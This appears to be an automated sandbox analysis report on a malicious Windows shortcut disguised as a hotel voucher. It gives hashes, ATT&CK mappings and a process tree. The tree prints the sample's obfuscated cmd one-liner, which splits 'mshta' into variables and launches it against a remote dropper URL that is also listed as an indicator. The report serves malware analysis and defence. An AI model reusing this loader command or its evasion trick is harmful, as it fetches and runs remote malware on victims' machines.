b2e90faea988c9f1d2483878baf07db74cebbeb899c0980901b5a65422988259

Analysis

max time kernel
150s
max time network
130s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
03/08/2026, 12:47

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General

Target
ALVESHOTEL_VOUCHER--YI04AD.lnk
Size 1KB
Sample260803-p1a2tsyarc
SHA256 b2e90faea988c9f1d2483878baf07db74cebbeb899c0980901b5a65422988259
MD5 f9fdfc4c43656fd67f5de09e4fb8fe1e
SHA1 485d50d6b46c1a8a57a4ea7ee3acbb0cd5b4f3db
SHA512 f6691c45db5b9c6bf482a24cfe2d33e54db47f77a00381e181bebb92ab4693b48ee8ab04ef17decd788c2aade7e3c120ff83ea31010a88fbe1d7b91d9642992e
TLSH
T1B33197003EED0664F3F78EB7C4BB572089BAB8568D24860E0050464C5062A05E57AF67
MD5 SHA1 SHA512 TLSH

Score

10^/10

execution

Malware Config

Extracted

Language

Source

URLs

hta.dropper
https://alves.nfiscais.com/h/estagio1.php?r=391C7CE85D88

Signatures

Badlisted process makes network request 2 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
5	3004	mshta.exe
8	3004	mshta.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 2 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
1596	cmd.exe
5372	cmd.exe

Suspicious use of WriteProcessMemory 2 IoCs

description	pid	Process	procid_target
PID 1596 wrote to memory of 5372	1596	cmd.exe	90
PID 5372 wrote to memory of 3004	5372	cmd.exe	91

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\ALVESHOTEL_VOUCHER--YI04AD.lnk
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:1596
- C:\WINDOWS\system32\cmd.exe
  "C:\WINDOWS\system32\cmd.exe" /v:on /c "set mWQ=msh&&set hI=ta&&start "" !mWQ!!hI! https://alves.nfiscais.com/h/estagio1.php?r=391C7CE85D88"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:5372
- - C:\Windows\System32\mshta.exe
    mshta https://alves.nfiscais.com/h/estagio1.php?r=391C7CE85D88
    3⤵
    - Badlisted process makes network request
    PID:3004

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Windows Command Shell

T1059.003

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

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Downloads